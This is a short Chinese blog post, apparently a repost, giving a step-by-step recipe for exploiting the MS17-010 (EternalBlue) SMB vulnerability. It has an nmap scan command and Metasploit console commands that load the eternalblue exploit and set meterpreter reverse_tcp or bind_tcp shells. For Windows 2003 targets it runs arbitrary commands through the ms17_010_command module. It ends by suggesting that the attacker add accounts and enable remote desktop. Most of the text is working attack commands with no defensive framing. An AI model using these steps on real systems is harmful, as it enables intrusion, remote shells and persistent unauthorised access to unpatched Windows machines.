大家好，又见面了，我是你们的朋友全栈君。
MSF
在msf中常规的17-010打法如下
扫描是否存在ms17-010漏洞，扫描方式很多如namp或者fscan或msf等
nmap -n -p445 --script smb-vuln-ms17-010 192.168.1.0/24 --openMSF常规漏洞利用
msf > use exploit/windows/smb/ms17_010_eternalblue
目标出网时反向打：
msf > set payload windows/x64/meterpreter/reverse_tcp
目标不出网时正向打（如添加了路由）：
msf > set payload windows/x64/meterpreter/bind_tcp目标为win2003
当目标为win2003时可能，虽然目标机器存在漏洞，但是可能会返回不了session
换一个打发，直接执行系统命令
msf5 > use auxiliary/admin/smb/ms17_010_command
msf5 > set command whoami
msf5 > set rhosts x.x.x.x 
既然可以执行命令那就好办了~~可以添加账号、开启3389
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。
发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/130623.html原文链接：https://javaforall.net
